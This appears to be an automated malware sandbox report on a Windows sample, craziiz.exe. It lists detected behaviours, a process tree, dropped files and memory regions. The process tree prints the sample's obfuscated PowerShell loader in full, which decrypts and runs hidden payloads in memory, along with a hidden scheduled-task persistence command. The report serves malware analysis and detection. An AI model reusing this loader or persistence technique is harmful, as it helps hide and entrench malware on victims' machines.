Resubmissions

20/07/2024, 10:19

240720-mcxjtaxfnn8

20/07/2024, 10:17

240720-mbvc3a1ejd8

20/07/2024, 10:15

240720-man5na1dng8

Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20/07/2024, 10:15

General

  • Target
    craziiz.exe
  • Size 19.2MB
  • Sample240720-man5na1dng
  • SHA256 68efb7a8332b4504485b96570f5f2a9959b81d832e723bf654e59aa820f73e4d
  • MD5 SHA1 SHA512 SSDEEP
Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\craziiz.exe
    "C:\Users\Admin\AppData\Local\Temp\craziiz.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1028
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\skuld.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4304
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('uhfM5Ekrw+ocGOKftnYSyasYRZICC7P0NnnY/5IJf88='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('DB+I746Y3DoHXqOsfJWvzw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $pZbag=New-Object System.IO.MemoryStream(,$param_var); $XGRdT=New-Object System.IO.MemoryStream; $oFTsX=New-Object System.IO.Compression.GZipStream($pZbag, [IO.Compression.CompressionMode]::Decompress); $oFTsX.CopyTo($XGRdT); $oFTsX.Dispose(); $pZbag.Dispose(); $XGRdT.Dispose(); $XGRdT.ToArray();}function execute_function($param_var,$param2_var){ $cGsoe=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $onmhY=$cGsoe.EntryPoint; $onmhY.Invoke($null, $param2_var);}$LpXdB = 'C:\Users\Admin\AppData\Local\Temp\RarSFX0\skuld.bat';$host.UI.RawUI.WindowTitle = $LpXdB;$JpiRJ=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($LpXdB).Split([Environment]::NewLine);foreach ($PtFHO in $JpiRJ) { if ($PtFHO.StartsWith('sqAngQnziQIztPnNNXoF')) { $Vyenk=$PtFHO.Substring(20); break; }}$payloads_var=[string[]]$Vyenk.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        3⤵
          PID:1932
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Modifies registry class
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:380
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'Windows_Log_51_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Windows_Log_51.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
            4⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3332
          • C:\Windows\SysWOW64\WScript.exe
            "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Windows_Log_51.vbs"
            4⤵
            • Checks computer location settings
            • Suspicious use of WriteProcessMemory
            PID:4656
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Windows_Log_51.bat" "
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:4544
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('uhfM5Ekrw+ocGOKftnYSyasYRZICC7P0NnnY/5IJf88='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('DB+I746Y3DoHXqOsfJWvzw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $pZbag=New-Object System.IO.MemoryStream(,$param_var); $XGRdT=New-Object System.IO.MemoryStream; $oFTsX=New-Object System.IO.Compression.GZipStream($pZbag, [IO.Compression.CompressionMode]::Decompress); $oFTsX.CopyTo($XGRdT); $oFTsX.Dispose(); $pZbag.Dispose(); $XGRdT.Dispose(); $XGRdT.ToArray();}function execute_function($param_var,$param2_var){ $cGsoe=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $onmhY=$cGsoe.EntryPoint; $onmhY.Invoke($null, $param2_var);}$LpXdB = 'C:\Users\Admin\AppData\Roaming\Windows_Log_51.bat';$host.UI.RawUI.WindowTitle = $LpXdB;$JpiRJ=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($LpXdB).Split([Environment]::NewLine);foreach ($PtFHO in $JpiRJ) { if ($PtFHO.StartsWith('sqAngQnziQIztPnNNXoF')) { $Vyenk=$PtFHO.Substring(20); break; }}$payloads_var=[string[]]$Vyenk.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
                6⤵
                  PID:2812
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
                  6⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  PID:4352
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -u -p 4352 -s 2912
                    7⤵
                    • Program crash
                    PID:4348
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 4352 -ip 4352
        1⤵
          PID:3560
        • C:\Windows\System32\rundll32.exe
          C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
          1⤵
            PID:768

          Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

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                Downloads

                powershell.exe.log

                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
                • Size 2KB
                • SHA256 ad2e3139aa438f799c4a876ca3e64af772b8a5786149925a08389723e42394d7
                • MD5 SHA1 SHA512

                ModuleAnalysisCache

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
                • Size 53KB
                • SHA256 9b946b062865f68b9f0f43a011d33d7ea0926a3c8f78fb20d9cab6144314e1bd
                • MD5 SHA1 SHA512 SSDEEP

                StartupProfileData-Interactive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
                • Size 20KB
                • SHA256 49732b647399cb702dbbe9086175e9ad4edca28ae210c2ae6867016c7efdf49d
                • MD5 SHA1 SHA512 SSDEEP

                skuld.bat

                • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\skuld.bat
                • Size 24.4MB
                • SHA256 50e1ff826b6c14a386107504fe2af420c295b538da3227284f427cbaf0c8a098
                • MD5 SHA1 SHA512 SSDEEP

                __PSScriptPolicyTest_vuia4b5j.a3u.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vuia4b5j.a3u.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512

                Windows_Log_51.vbs

                • Path C:\Users\Admin\AppData\Roaming\Windows_Log_51.vbs
                • Size 114B
                • SHA256 2bf1ebb0a1754d96b5e0a3e688df9152b41d38af089ac727dd81456bb2da82dd
                • MD5 SHA1 SHA512

                memory/380-28-0x00000000078D0000-0x00000000078EA000-memory.dmp

                memory/380-31-0x0000000029FB0000-0x000000002A554000-memory.dmp

                memory/380-12-0x0000000006080000-0x00000000060E6000-memory.dmp

                memory/380-10-0x0000000005700000-0x0000000005722000-memory.dmp

                memory/380-22-0x00000000060F0000-0x0000000006444000-memory.dmp

                memory/380-23-0x00000000065B0000-0x00000000065CE000-memory.dmp

                memory/380-24-0x0000000006660000-0x00000000066AC000-memory.dmp

                memory/380-25-0x00000000069E0000-0x0000000006A24000-memory.dmp

                memory/380-26-0x0000000007950000-0x00000000079C6000-memory.dmp

                memory/380-27-0x0000000008050000-0x00000000086CA000-memory.dmp

                memory/380-9-0x0000000072E40000-0x00000000735F0000-memory.dmp

                memory/380-29-0x0000000002B30000-0x0000000002B38000-memory.dmp

                memory/380-30-0x0000000047880000-0x0000000049050000-memory.dmp

                memory/380-11-0x0000000005FA0000-0x0000000006006000-memory.dmp

                memory/380-5-0x0000000072E4E000-0x0000000072E4F000-memory.dmp

                memory/380-6-0x00000000030C0000-0x00000000030F6000-memory.dmp

                memory/380-70-0x0000000072E40000-0x00000000735F0000-memory.dmp

                memory/380-68-0x0000000072E40000-0x00000000735F0000-memory.dmp

                memory/380-67-0x0000000072E4E000-0x0000000072E4F000-memory.dmp

                memory/380-7-0x00000000057B0000-0x0000000005DD8000-memory.dmp

                memory/380-8-0x0000000072E40000-0x00000000735F0000-memory.dmp

                memory/3332-58-0x0000000006FF0000-0x0000000007001000-memory.dmp

                memory/3332-57-0x0000000007070000-0x0000000007106000-memory.dmp

                memory/3332-56-0x0000000006E60000-0x0000000006E6A000-memory.dmp

                memory/3332-55-0x0000000006D10000-0x0000000006DB3000-memory.dmp

                memory/3332-54-0x00000000060B0000-0x00000000060CE000-memory.dmp

                memory/3332-44-0x000000006F710000-0x000000006F75C000-memory.dmp

                memory/3332-43-0x0000000006CD0000-0x0000000006D02000-memory.dmp